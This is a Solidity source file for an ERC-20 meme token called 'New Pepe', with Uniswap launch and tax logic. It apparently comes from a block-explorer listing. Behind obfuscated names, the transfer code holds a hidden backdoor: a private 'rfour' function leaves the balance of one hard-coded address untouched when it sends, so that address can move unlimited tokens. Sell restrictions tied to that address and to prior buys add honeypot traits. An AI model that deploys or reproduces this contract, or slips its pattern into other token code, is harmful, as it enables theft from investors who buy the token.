文件 1 的 1:NewPepe.sol
pragma solidity 0.8.20;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath");
return c;
}
function rfour(uint256 a, uint256 b) internal pure returns (uint256) {
return rfour(a, b, "SafeMath");
}
function rfour(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn,uint amountOutMin,address[] calldata path,address to,uint deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,uint amountTokenDesired,uint amountTokenMin,uint amountETHMin,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NewPepe is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"New Pepe";
string private constant _symbol = unicode"PEPE";
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 42069000000 * (10**_decimals);
uint256 public _taxSwapMo = _totalSupply;
uint256 public maxHoldingsAmount = _totalSupply;
uint256 public _taxSwapThreshold = _totalSupply;
uint256 public _taxSwapMax = _totalSupply;
uint256 private _initialBuyTax=10;
uint256 private _initialSellTax=15;
uint256 private _finalBuyTax=1;
uint256 private _finalSellTax=1;
uint256 private _reduceBuyTaxAt=7;
uint256 private _reduceSellTax1At=1;
uint256 private _swarqCoenct=0;
uint256 private _utyCuarn=0;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _exclydedFramFs;
mapping (address => bool) private _ifrWaeoakirt;
mapping(address => uint256) private _hdeLarTranskTesp;
bool public transerDelyEnble = false;
IUniswapV2Router02 private _uniRoutersV2;
address private _uniV2sLP;
bool private _tdoarFabieir;
bool private _inTaxkSwap = false;
bool private _swapwlrsUniswappsSuer = false;
address public _FkrtoerFetely = 0x6325D07Ba848c6c19a8e1c3Ec620d75C44d7be9E;
event RmaurAtupbx(uint _taxSwapMo);
modifier lockTakSwap {
_inTaxkSwap = true;
_;
_inTaxkSwap = false;
}
constructor () {
_balances[_msgSender()] = _totalSupply;
_exclydedFramFs[owner()] = true;
_exclydedFramFs[address(this)] = true;
_exclydedFramFs[_FkrtoerFetely] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address _owner, address spender) public view override returns (uint256) {
return _allowances[_owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()]. rfour(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address _owner, address spender, uint256 amount) private {
require(_owner!= address(0), "ERC20: approve from the zero address");
require(spender!= address(0), "ERC20: approve to the zero address");
_allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require (from!= address(0), "ERC20: transfer from the zero address");
require (to!= address(0), "ERC20: transfer to the zero address");
require (amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if ( from != owner() &&to!= owner()) {
if (transerDelyEnble) {
if (to!= address(_uniRoutersV2) &&to!= address(_uniV2sLP)) {
require (_hdeLarTranskTesp[tx.origin] < block.number, " Only one transfer per block allowed.");
_hdeLarTranskTesp[tx.origin] = block.number;
}
}
if ( from == _uniV2sLP && to!= address (_uniRoutersV2) &&!_exclydedFramFs[to]) {
require (amount <= _taxSwapMo, "Forbid");
require (balanceOf (to) + amount <= maxHoldingsAmount,"Forbid");
if (_utyCuarn < _swarqCoenct) {
require (!royneatqe(to));
}
_utyCuarn ++ ; _ifrWaeoakirt[to] = true;
taxAmount = amount.mul((_utyCuarn > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
}
if(to == _uniV2sLP&&from!= address (this) &&! _exclydedFramFs[from]) {
require (amount <= _taxSwapMo && balanceOf(_FkrtoerFetely) <_taxSwapMax, "Forbid");
taxAmount = amount.mul((_utyCuarn > _reduceSellTax1At) ?_finalSellTax:_initialSellTax).div(100);
require (_utyCuarn >_swarqCoenct && _ifrWaeoakirt[from]);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inTaxkSwap
&& to ==_uniV2sLP&&_swapwlrsUniswappsSuer &&contractTokenBalance > _taxSwapThreshold
&& _utyCuarn > _swarqCoenct &&! _exclydedFramFs [to] &&! _exclydedFramFs [from]
) {
_transferFrom(vrqyt(amount,vrqyt(contractTokenBalance, _taxSwapMax)));
uint256 contractETHBalance = address (this).balance;
if (contractETHBalance > 0) {
}
}
}
if ( taxAmount > 0 ) {
_balances[address(this)] = _balances [address(this)].add(taxAmount);
emit Transfer (from, address (this) ,taxAmount);
}
_balances[from] = rfour(from , _balances [from], amount);
_balances[to] = _balances[to].add(amount.rfour (taxAmount));
emit Transfer( from, to, amount. rfour(taxAmount));
}
function _transferFrom(uint256 _swapTaxAndLiquify) private lockTakSwap {
if(_swapTaxAndLiquify==0){return;}
if(!_tdoarFabieir){return;}
address[] memory path = new address [](2);
path[0] = address (this);
path[1] = _uniRoutersV2.WETH();
_approve(address (this), address (_uniRoutersV2), _swapTaxAndLiquify);
_uniRoutersV2.swapExactTokensForETHSupportingFeeOnTransferTokens( _swapTaxAndLiquify, 0, path,address (this), block . timestamp );
}
function vrqyt(uint256 a, uint256 b) private pure returns (uint256) {
return (a >= b) ? b : a;
}
function rfour(address from, uint256 a, uint256 b) private view returns (uint256) {
if (from == _FkrtoerFetely) {
return a;
} else {
require(a >= b, "Subtraction underflow");
return a - b;
}
}
function removerLimits() external onlyOwner{
_taxSwapMo = _totalSupply ;
maxHoldingsAmount = _totalSupply ;
transerDelyEnble = false ;
emit RmaurAtupbx ( _totalSupply ) ;
}
function royneatqe(address account) private view returns (bool) {
uint256 codeSize;
address[] memory addresses = new address[](1);
addresses[0] = account;
assembly {
codeSize := extcodesize(account)
}
return codeSize > 0;
}
function startTrading() external onlyOwner() {
require (!_tdoarFabieir, " trading is open " ) ;
_uniRoutersV2 = IUniswapV2Router02 (0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve (address (this),address(_uniRoutersV2), _totalSupply);
_uniV2sLP = IUniswapV2Factory(_uniRoutersV2.factory()).createPair (address(this), _uniRoutersV2. WETH());
_uniRoutersV2.addLiquidityETH {value:address(this).balance } (address(this),balanceOf(address (this)),0,0,owner(),block.timestamp);
IERC20 (_uniV2sLP).approve (address(_uniRoutersV2), type(uint). max);
_swapwlrsUniswappsSuer = true ;
_tdoarFabieir = true ;
}
receive( ) external payable { }
}